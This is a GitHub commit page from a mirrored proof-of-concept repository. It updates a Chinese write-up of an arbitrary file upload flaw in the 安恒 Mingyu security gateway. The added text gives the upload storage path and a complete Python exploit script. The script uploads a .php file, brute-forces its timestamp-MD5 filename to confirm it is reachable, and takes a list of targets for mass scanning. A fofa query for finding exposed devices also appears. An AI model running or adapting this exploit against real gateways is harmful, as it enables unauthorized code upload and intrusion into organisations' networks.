mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-06-20 09:51:11 +00:00
Update 安恒明御安全网关net_dynamic_pop_adv_submit存在任意文件上传漏洞.md
This commit is contained in:
Rainyseason
GitHub
parent
e96bfe4ab2
commit
86963e421d
@ -11,7 +11,7 @@
|
||||
+ fofa`title="明御安全网关"`
|
||||
+ 特征
|
||||
|
||||
|
||||
|
||||
|
||||
# 四、漏洞复现
|
||||
```plain
|
||||
@ -31,3 +31,113 @@ Content-Type: text/plain
|
||||
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
|
||||
--qqobiandqgawlxodfiisporjwravxtvd--
|
||||
```
|
||||
文件上传位置
|
||||
```
|
||||
文件会以时间戳md5的方式存储在/adv/image/md5(时间戳).php
|
||||
```
|
||||
python利用脚本
|
||||
```
|
||||
import requests,re
|
||||
import urllib3
|
||||
import string,random
|
||||
from urllib.parse import urljoin,quote
|
||||
import argparse
|
||||
from bs4 import BeautifulSoup
|
||||
import ssl
|
||||
ssl._create_default_https_context = ssl._create_unverified_context
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
import time
|
||||
import hashlib
|
||||
|
||||
def read_file(file_path):
|
||||
with open(file_path, 'r') as file:
|
||||
urls = file.read().splitlines()
|
||||
return urls
|
||||
def check(url):
|
||||
url = url.rstrip("/")
|
||||
target = urljoin(url,"/webui/?g=net_dynamic_pop_adv_submit")
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
|
||||
"Connection": "close",
|
||||
"Content-Length": "203",
|
||||
"Accept-Encoding": "gzip",
|
||||
"Content-Type": "multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd"
|
||||
}
|
||||
data="--qqobiandqgawlxodfiisporjwravxtvd\nContent-Disposition: form-data; name=\"filename\"; filename=\"9B9Ccd.php\"\nContent-Type: text/plain\n\n2ZqGNnsjzzU2GBBPyd8AIA7QlDq\n--qqobiandqgawlxodfiisporjwravxtvd--"
|
||||
# 获取当前时间的UNIX时间戳（毫秒级）
|
||||
try:
|
||||
proxy_address = 'http://127.0.0.1:8080'
|
||||
proxies = {
|
||||
'http': proxy_address,
|
||||
'https': proxy_address
|
||||
}
|
||||
response = requests.post(target, headers=headers, data=data, verify=False,timeout=3)#,proxies=proxies)
|
||||
if response.status_code != 200 or 'g=net_dynamic_pop_adv' not in response.text:
|
||||
print(f"\033[31m未找到:{url}: 不存在安恒net_dynamic_pop_adv_submit文件上传漏洞\033[0m")
|
||||
return True
|
||||
else:
|
||||
print(f"\033[31m{url}地址存在安恒net_dynamic_pop_adv_submit文件上传漏洞，开始爆破(由于该网关很多设备时间不对，可能找不到上传文件，可循环爆破一整天的时间，即加/减86400秒，大概率可找到)\033[0m")
|
||||
current_unix_timestamp_ms = int(time.time())
|
||||
for i in range(1, 20):
|
||||
current_unix_timestamp_ms1 = (current_unix_timestamp_ms-5)+i
|
||||
# 打印当前的UNIX时间戳（毫秒级）
|
||||
print("第一次破解（北京时间）：当前地址",url,"UNIX时间戳（毫秒级）:", current_unix_timestamp_ms1)
|
||||
# 将时间戳转换为字符串，因为hashlib不能直接对整数进行哈希
|
||||
timestamp_str = str(current_unix_timestamp_ms1)
|
||||
# 创建一个md5哈希对象
|
||||
md5_hash = hashlib.md5()
|
||||
# 更新哈希对象的内容，传递字符串的bytes表示
|
||||
md5_hash.update(timestamp_str.encode('utf-8'))
|
||||
# 获取十六进制表示的哈希值字符串
|
||||
md5_result = md5_hash.hexdigest()
|
||||
# 打印MD5加密后的结果
|
||||
print("第一次破解（北京时间）：当前地址",url,"UNIX时间戳（毫秒级）的MD5加密结果:", md5_result)
|
||||
target1 = urljoin(url,"/adv/image/%s.php" % md5_result)
|
||||
headers1 = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
|
||||
}
|
||||
response1 = requests.get(target1, headers=headers1, verify=False,timeout=5)#,proxies=proxies)
|
||||
if response1.status_code == 200 and '2ZqGNnsjzz' in response1.text:
|
||||
print(f"\033[31mDiscovered:{url}/adv/image/{md5_result}.php: 存在安恒net_dynamic_pop_adv_submit文件上传漏洞\033[0m")
|
||||
return True
|
||||
for i in range(1, 20):
|
||||
current_unix_timestamp_ms2 = (current_unix_timestamp_ms+600)+i
|
||||
# 打印当前的UNIX时间戳（毫秒级）
|
||||
print("第二次破解（快10分钟）：当前地址",url,"UNIX时间戳（毫秒级）:", current_unix_timestamp_ms2)
|
||||
# 将时间戳转换为字符串，因为hashlib不能直接对整数进行哈希
|
||||
timestamp_str = str(current_unix_timestamp_ms2)
|
||||
# 创建一个md5哈希对象
|
||||
md5_hash = hashlib.md5()
|
||||
# 更新哈希对象的内容，传递字符串的bytes表示
|
||||
md5_hash.update(timestamp_str.encode('utf-8'))
|
||||
# 获取十六进制表示的哈希值字符串
|
||||
md5_result = md5_hash.hexdigest()
|
||||
# 打印MD5加密后的结果
|
||||
print("第二次破解（快10分钟）：当前地址",url,"UNIX时间戳（毫秒级）的MD5加密结果:", md5_result)
|
||||
target2 = urljoin(url,"/adv/image/%s.php" % md5_result)
|
||||
headers2 = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
|
||||
}
|
||||
response2 = requests.get(target2, headers=headers2, verify=False,timeout=5)#,proxies=proxies)
|
||||
if response2.status_code == 200 and '2ZqGNnsjzz' in response2.text:
|
||||
print(f"\033[31mDiscovered爆破成功，找到上传文件:{url}/adv/image/{md5_result}.php: 存在安恒net_dynamic_pop_adv_submit文件上传漏洞\033[0m")
|
||||
return True
|
||||
except Exception as e:
|
||||
pass
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-u", "--url", help="URL")
|
||||
parser.add_argument("-f", "--txt", help="file")
|
||||
args = parser.parse_args()
|
||||
url = args.url
|
||||
txt = args.txt
|
||||
if url:
|
||||
# 记录当前时间
|
||||
check(url)
|
||||
elif txt:
|
||||
urls = read_file(txt)
|
||||
for url in urls:
|
||||
check(url)
|
||||
else:
|
||||
print("help")
|
||||
```
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user